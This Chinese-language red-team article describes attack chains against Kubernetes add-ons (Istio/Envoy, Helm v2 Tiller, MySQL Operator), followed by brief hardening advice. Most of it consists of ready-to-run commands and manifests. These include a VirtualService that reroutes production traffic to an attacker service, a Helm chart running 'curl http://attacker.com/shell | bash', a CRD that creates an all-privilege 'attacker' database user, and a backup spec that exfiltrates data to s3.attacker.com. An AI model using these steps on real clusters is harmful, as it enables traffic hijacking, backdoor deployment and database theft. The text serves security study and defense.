Bootstrap

红队视角出发的k8s敏感信息收集——Kubernetes API 扩展与未授权访问

针对 Kubernetes 第三方组件与 Operator 的详细攻击视角分析,涵盖 Service Mesh、Helm Releases 和 Database Operators 的潜在风险及利用方法。

攻击链示例

1. 攻击者通过未授权的 Tiller 服务部署恶意 Helm Chart → 
2. 创建后门 Pod 并横向移动至 Istio 控制平面 → 
3. 提取 Envoy 配置发现未加密的数据库服务 → 
4. 通过 MySQL Operator 创建管理员账户导出数据。

Service Mesh(如 Istio、Linkerd)攻击场景

目标:通过 Service Mesh 的配置漏洞(如未加密通信、宽松路由规则),窃取流量或劫持服务间通信。

提取 Envoy Sidecar 配置

访问 Envoy 管理接口

在Istio服务网格中,Envoy作为sidecar代理被注入到每个Pod中,用于处理进出该Pod的所有网络流量。Envoy提供了管理接口,默认情况下,这些接口在15000端口(用于配置转储和其他调试信息)和15020端口(用于健康检查、统计信息等)上可用。这些接口对于调试和监控非常有用,但同时也需要谨慎对待,以避免敏感信息泄露给未授权的用户。

要在已控制的Pod中查询Envoy配置,可以使用以下命令:

curl http://localhost:15000/config_dump > envoy_config.json

此命令会从运行在本地(即同一Pod内)的Envoy实例获取其完整配置,并将其保存到envoy_config.json文件中。这对于了解Envoy如何路由请求、查看过滤器链或进行故障排查特别有用。

如果需要访问其他Pod中的Envoy配置(假设网络策略允许这样做),可以使用如下命令直接指定目标Pod的IP地址:

curl http://xx.xx.xx.xx:15000/config_dump

这里的xx.xx.xx.xx应替换为目标Pod的实际内部IP地址。

分析路由规则与 mTLS 配置

通过分析Envoy的配置文件(例如从/config_dump端点获取的envoy_config.json),可以检查关键的安全设置,包括是否启用了mTLS以及路由规则的严格程度。以下是具体步骤和示例:

在Envoy配置中查找 “tls_mode” 字段可以帮助你判断通信是否被加密。如果该字段值为 “DISABLE”,则表示通信未加密,即mTLS未启用。

{
  // ... 其他配置 ...
  "tls_context": {
    "common_tls_context": {
      // ... TLS 相关配置 ...
    },
    "tls_mode": "DISABLE"  // 表示通信未加密
  }
  // ... 其他配置 ...
}

“tls_mode”: “DISABLE” 明确指出当前Envoy实例的连接并未使用TLS加密,这意味着数据传输是明文的,容易受到窃听或篡改攻击。

另一个重要的方面是检查Istio的路由规则是否过于宽松,比如允许所有流量通过通配符*。以下是一个可能表明存在宽松路由规则的例子:

{
  "route_config": {
    "name": "http.80",
    "virtual_hosts": [
      {
        "name": "backend",
        "domains": ["*"],  // 允许来自任何域名的请求
        "routes": [
          {
            "match": {
              "prefix": "/"  // 匹配所有路径
            },
            "route": {
              "cluster": "service_cluster"
            }
          }
        ]
      }
    ]
  }
}

在这个例子中,“domains”: “*” 和 “prefix”: “/” 的组合意味着该路由规则接受来自任意来源的所有请求,这可能不符合最小权限原则,增加了潜在的安全风险。

流量劫持与嗅探

利用 PERMISSIVE mTLS 模式

当Istio的PeerAuthentication策略设置为PERMISSIVE模式时,这意味着服务既可以接受明文(未加密)通信也可以接受mTLS加密通信。这种灵活性虽然有助于逐步迁移到完全加密的通信环境,但也带来了安全风险,特别是在网络中存在潜在攻击者的情况下,他们可以利用这一点来嗅探未加密的流量。

要在Pod内启动tcpdump以捕获特定端口(例如8080)上的流量,并将其保存到一个文件中,可以使用以下命令:

tcpdump -i eth0 'port 8080' -w traffic.pcap

解释:

  • -i eth0:指定要监听的网络接口,在这个例子中是eth0。你需要根据实际环境中Pod的网络接口名称进行调整。
  • ‘port 8080’:过滤条件,这里表示只捕获目标或源端口为8080的流量。
  • -w traffic.pcap:将捕获的数据包写入名为traffic.pcap的文件中,该文件可以随后用Wireshark等工具打开进行分析。

篡改 VirtualService 路由

在Istio服务网格中,VirtualService资源用于定义路由规则,这些规则决定了到达特定主机的流量如何被路由。如果攻击者能够创建或修改VirtualService配置,他们就可以将原本指向合法服务的流量重定向到由攻击者控制的服务(即“恶意服务”),这种行为可能导致敏感数据泄露、拒绝服务(DoS)攻击或其他形式的安全威胁。

下面是一个示例命令,展示了如何使用kubectl apply命令来创建一个名为malicious-routeVirtualService,该服务会将发往prod-service.default.svc.cluster.local的所有HTTP请求重定向到攻击者的attacker-service.default.svc.cluster.local

kubectl apply -f - <<EOF
apiVersion: networking.istio.io/v1alpha3
kind: VirtualService
metadata:
  name: malicious-route
spec:
  hosts:
  - "prod-service.default.svc.cluster.local"
  http:
  - route:
    - destination:
        host: attacker-service.default.svc.cluster.local
EOF

Helm Releases 与 Tiller(旧版本)攻击场景

目标:利用旧版本 Helm(v2)的 Tiller 服务未授权访问漏洞,获取部署历史中的敏感参数或部署恶意 Chart。

发现 Tiller 服务

扫描 Tiller 默认端口(44134)

Tiller是Helm的经典版本(Helm 2)中的服务端组件,它在Kubernetes集群中与客户端交互以管理charts和发布。默认情况下,Tiller会在44134端口上监听传入的gRPC请求。然而,在Helm 2中,如果未正确配置权限和认证,Tiller可能会成为安全风险点,因为它具有对Kubernetes资源进行增删改查的权限。

使用nmap工具可以扫描指定范围内的IP地址,寻找开放44134端口的主机,这可能指示了Tiller服务的位置。以下是您提供的命令示例:

nmap -p44134 10.96.0.0/12

这个命令将对10.96.0.0/12子网内的所有IP地址执行扫描,目的是查找那些在其44134端口上有开放服务的主机。在这个例子中,输出可能显示Tiller服务运行于10.96.0.101。

检查 Tiller 的 RBAC 权限

在Helm 2中,Tiller默认配置可能会被赋予过高的权限,如cluster-admin角色,这使得它拥有对整个Kubernetes集群进行管理操作的能力。如果Tiller暴露于不受信任的网络环境中或存在安全漏洞,则可能允许攻击者利用这些高权限执行任意操作,包括但不限于部署恶意容器、窃取敏感信息或完全控制集群。

为了检查Tiller是否使用了cluster-admin权限或其他过高权限,您可以查看与Tiller相关的Kubernetes服务账户和服务的角色绑定(RoleBindings)和集群角色绑定(ClusterRoleBindings)。然而,直接通过命令行工具快速验证Tiller权限的一个方法是尝试列出所有发布的版本,这需要一定的权限:

helm --host tiller-deploy.kube-system:44134 list --all

这条命令尝试连接到位于tiller-deploy.kube-system:44134的Tiller实例,并列出所有已部署的发布。如果成功执行,表明您至少具有读取所有Helm发布的权限;若失败,则可能存在网络问题、认证问题或者确实缺乏必要的权限。

但是,要具体检查Tiller关联的服务账号的权限设置,可以通过以下步骤:

步骤 1: 查找 Tiller 使用的服务账号

首先,确认Tiller使用的Kubernetes服务账号名称。通常情况下,在Helm 2中,默认服务账号名为tiller,并且位于kube-system命名空间内。

步骤 2: 检查 RoleBinding 或 ClusterRoleBinding

接下来,检查该服务账号关联的RoleBindings或ClusterRoleBindings。例如:

kubectl get clusterrolebinding -n kube-system | grep tiller

或者针对特定命名空间内的RoleBindings:

kubectl get rolebinding -n kube-system | grep tiller

步骤 3: 分析绑定的角色

一旦找到相关联的RoleBinding或ClusterRoleBinding,进一步查看它们所引用的角色定义。例如,如果您发现了一个指向cluster-admin的角色绑定:

kubectl describe clusterrolebinding tiller-binding

输出结果应包含类似以下内容,指示tiller服务账号已被授予cluster-admin权限:

Name:         tiller-binding
Labels:       <none>
Annotations:  <none>
Role:
  Kind:  ClusterRole
  Name:  cluster-admin
Subjects:
  Kind            Name      Namespace
  ----            ----      ---------
  ServiceAccount  tiller    kube-system

窃取敏感部署参数

获取 Helm Release 历史

使用Helm 2并通过指定Tiller主机来获取特定Helm发布的历史记录是一个直接的方法,可以帮助您审查该发布的变更历史。通过检查这些历史版本,您可以查找是否存在潜在的安全隐患,例如是否在部署时通过–set password=xxx这样的参数明文设置了敏感信息。

要获取名为my-release的Helm发布的历史记录,可以使用如下命令:

helm --host tiller-deploy.kube-system:44134 history my-release

此命令将连接到位于tiller-deploy.kube-system:44134的Tiller实例,并列出my-release的所有修订版本(revision),包括每个版本的状态、更新时间和描述等信息。

为了进一步检查历史版本中是否包含通过–set选项设置的敏感信息,如密码,您可能需要查看每个修订版本的具体配置。虽然helm history命令提供了基本的历史视图,但它不会显示详细的chart值或通过–set指定的变量值。为此,您可以使用以下方法之一:

方法 1: 使用 helm get 查看特定版本的详细信息

对于任何给定的修订版本,您可以使用helm get manifest结合–revision标志来获取其完整的Kubernetes资源定义,然后手动检查是否有敏感信息泄露:

helm --host tiller-deploy.kube-system:44134 get manifest my-release --revision <REVISION_NUMBER> > my-release-revision.yaml

这里,<REVISION_NUMBER>应替换为想要检查的具体修订版号。然后,可以打开生成的YAML文件,搜索可能存在的敏感数据。

方法 2: 直接检查 Tiller 的存储

如果您有直接访问Tiller数据库的权限,理论上可以直接查询Tiller使用的etcd或MySQL后端来检索存储的chart值。然而,这种方法复杂且不推荐,因为它绕过了正常的API接口并且可能违反安全策略。

导出 Release 明文配置

为了检查特定Helm release在某个修订版本中的值(包括可能通过–set参数设置的任何明文敏感信息),您可以使用helm get values命令并指定目标修订版本。这对于审计和安全审查特别有用,可以帮助识别是否有敏感数据(如密码)以不安全的方式存储或传递。

以下是如何操作的具体步骤:

helm --host tiller-deploy.kube-system:44134 get values my-release --revision 2

这个命令将连接到位于tiller-deploy.kube-system:44134的Tiller实例,并导出名为my-release的release在修订版本2时的所有值(即通过values.yaml文件或–set参数设置的变量)。输出可能类似于:

password: "xxxxxxx"

这表明,在该修订版本中,有一个名为password的变量被设置为s3cr3t!,且此信息是以明文形式存储的。

部署恶意 Helm Chart

创建后门 Chart

在 values.yaml 文件中定义恶意容器配置是非常危险的行为,这可以导致严重的安全问题,包括但不限于远程代码执行、数据泄露和服务中断。以下是你提供的示例配置:

image:
  repository: evil-image
  tag: latest
command: ["sh", "-c", "sleep infinity && curl http://attacker.com/shell | bash"]

这种配置会指示Kubernetes从指定的仓库拉取一个名为evil-image的镜像,并运行其中包含的命令,该命令首先会让容器进入无限等待状态(sleep infinity),然后通过curl下载一个脚本并立即执行(curl http://attacker.com/shell | bash)。如果此配置被部署到集群中,它将尝试从http://attacker.com/shell下载并执行任意代码,这对系统的安全性构成了直接威胁。

通过 Tiller 安装

这条命令指示Helm客户端连接到位于tiller-deploy.kube-system:44134的Tiller服务器,并部署位于当前目录下的名为malicious-chart的chart。

helm --host tiller-deploy.kube-system:44134 install ./malicious-chart

Database Operators(如 MySQL Operator)攻击场景

目标:利用 Database Operator 的高权限配置,直接操作数据库实例(如创建管理员账户、导出数据)。

枚举 Database Operator

识别已安装的 Operator

在Kubernetes环境中,Custom Resource Definitions (CRDs) 是扩展API资源的一种方式,通常用于支持Operators。通过查找特定类型的CRD(例如与数据库相关的如MySQL或PostgreSQL),可以发现集群中可能已经安装了哪些Operators。

执行以下命令可以帮助您识别与mysql或postgresql相关的CRD:

kubectl get crd | grep -E 'mysql|postgresql'

此命令首先列出所有自定义资源定义(CRDs),然后使用grep过滤出名称包含mysql或postgresql的条目。输出示例可能如下所示:

mysqlclusters.mysql.oracle.com
postgresqlclusters.postgresql.example.com

这些输出表明,在您的Kubernetes集群中有名为mysqlclusters.mysql.oracle.com和postgresqlclusters.postgresql.example.com的CRDs存在,这通常意味着有相应的Operator正在管理MySQL和PostgreSQL实例。

一旦确定了感兴趣的CRDs,您可以进一步探索这些资源的具体实例以及它们的状态。例如,要查看所有MySQL集群实例,可以运行:

kubectl get mysqlclusters.mysql.oracle.com

类似地,对于PostgreSQL集群:

kubectl get postgresqlclusters.postgresql.example.com

这些命令将显示每个CRD下的具体资源实例列表及其状态。

检查 Operator 的 RBAC 权限

为了确保Operator的安全性,了解其被赋予的权限是非常重要的。特别是要检查是否有不当的高权限分配,比如cluster-admin,这可能会带来安全风险。通过查询与特定Operator相关的ClusterRoleBindings或RoleBindings,可以查看其权限设置。

您提供的命令使用kubectl结合jq来过滤出与mysql-operator相关的ClusterRoleBindings。以下是该命令及其解释:

kubectl get clusterrolebinding -o json | jq '.items[] | select(.metadata.name | contains("mysql-operator"))'
  • kubectl get clusterrolebinding -o json:获取所有ClusterRoleBindings并以JSON格式输出。
  • jq ‘.items[] | select(.metadata.name | contains(“mysql-operator”))’:使用jq工具从返回的JSON中筛选出名称包含mysql-operator的所有ClusterRoleBinding项。

此命令可以帮助识别与mysql-operator直接相关的角色绑定,并检查这些绑定是否授予了过高的权限,如cluster-admin。

假设输出如下:

{
  "apiVersion": "rbac.authorization.k8s.io/v1",
  "kind": "ClusterRoleBinding",
  "metadata": {
    "creationTimestamp": "2023-04-01T12:00:00Z",
    "name": "mysql-operator-cluster-admin"
  },
  "roleRef": {
    "apiGroup": "rbac.authorization.k8s.io",
    "kind": "ClusterRole",
    "name": "cluster-admin"
  },
  "subjects": [
    {
      "kind": "ServiceAccount",
      "name": "mysql-operator",
      "namespace": "default"
    }
  ]
}

在这个例子中,可以看到名为mysql-operator-cluster-admin的ClusterRoleBinding将cluster-admin角色绑定到了default命名空间下的mysql-operator服务账户上,这意味着该Operator具有对整个集群的完全控制权。

创建恶意数据库实例

利用 CRD 创建高权限用户

创建高权限用户,尤其是在生产环境中,需要非常谨慎。未经授权或不安全的用户创建可能导致严重的安全隐患,包括但不限于数据泄露、数据损坏和服务中断。您提供的YAML配置示例展示了如何通过MySQL Operator的CRD(Custom Resource Definition)定义一个具有广泛权限的新用户。以下是该示例的具体内容:

apiVersion: mysql.oracle.com/v1
kind: MySQLUser
metadata:
  name: attacker-user
spec:
  username: "attacker"
  password: "P@ssw0rd!"
  permissions:
    - database: "*"
      privileges: ["ALL"]

这个配置尝试创建一个名为attacker的新MySQL用户,并赋予其对所有数据库(*)的所有权限(“ALL”)。这种设置对于任何环境来说都是极其危险的,因为它授予了该用户几乎不受限制的操作能力。

导出数据库数据

使用Operator的备份功能将数据导出到不受信任或攻击者控制的存储位置是一种严重的安全威胁,可能导致敏感数据泄露。您提供的YAML配置示例展示了如何通过MySQL Operator的MySQLBackup CRD(Custom Resource Definition)定义一个备份任务,并将数据导出到攻击者控制的S3存储。

apiVersion: mysql.oracle.com/v1
kind: MySQLBackup
metadata:
  name: data-exfil
spec:
  storage:
    s3:
      bucket: "attacker-bucket"
      endpoint: "s3.attacker.com"
      accessKey: "AKIAXXX"
      secretKey: "SECRETXXX"

此配置尝试创建一个名为data-exfil的备份任务,该任务会将数据库备份发送到指定的S3存储桶attacker-bucket,其访问点为s3.attacker.com,并使用提供的accessKey和secretKey进行认证。

直接连接数据库

获取数据库连接信息

使用kubectl命令结合jsonpath可以从Kubernetes集群中提取特定资源的状态信息。对于MySQL Operator管理的MySQL集群,可以通过以下命令获取数据库的连接端点:

kubectl get mysqlcluster my-db -o jsonpath='{.status.databaseEndpoint}'

此命令将查询名为my-db的MySQLCluster资源,并输出其.status.databaseEndpoint字段的内容,该字段通常包含数据库服务的主机名和端口号。例如,输出可能是:

my-db.default.svc.cluster.local:3306

这表示数据库可以通过服务名称my-db.default.svc.cluster.local在端口3306上访问。

使用窃取的凭据访问

使用窃取的凭据访问数据库是严重违反安全政策的行为,并且在未经授权的情况下访问系统或数据可能会触犯法律。以下命令展示了如何使用获取到的数据库连接信息和凭据来尝试登录MySQL数据库:

mysql -h my-db.default.svc.cluster.local -u attacker -pP@ssw0rd!

这里,-h参数指定了目标数据库的服务地址(基于前面获取到的信息),-u指定了用户名,而-p后面紧跟的是密码。

防御建议

Service Mesh 加固

  • 强制 mTLS:设置 PeerAuthentication 为 STRICT 模式,禁用明文通信。
  • 最小化路由规则:避免使用 * 通配符,限制服务间的访问路径。
  • 网络策略:使用 NetworkPolicy 限制 Envoy 管理接口的访问来源。

Helm/Tiller 加固

  • 升级至 Helm v3:弃用 Tiller,直接使用 Kubeconfig 认证。
  • Tiller 权限限制(若必须使用 v2):为 Tiller 配置最小权限的 ServiceAccount。
  • 加密敏感参数:使用 --set-file 或 Secrets 存储密码,避免命令行明文传递。

Database Operator 加固

  • RBAC 最小化:为 Operator 配置仅限必需资源的权限。
  • 审计自定义资源:监控 MySQLUser、MySQLBackup 等高风险 CRD 的创建操作。
  • 存储加密:确保 Operator 的备份功能使用加密存储(如 S3 SSE-KMS)。

总结

第三方组件和 Operator 的权限往往被低估,防御需严格遵循最小权限原则,并定期审计其配置与行为,避免成为攻击者的“提权跳板”。

;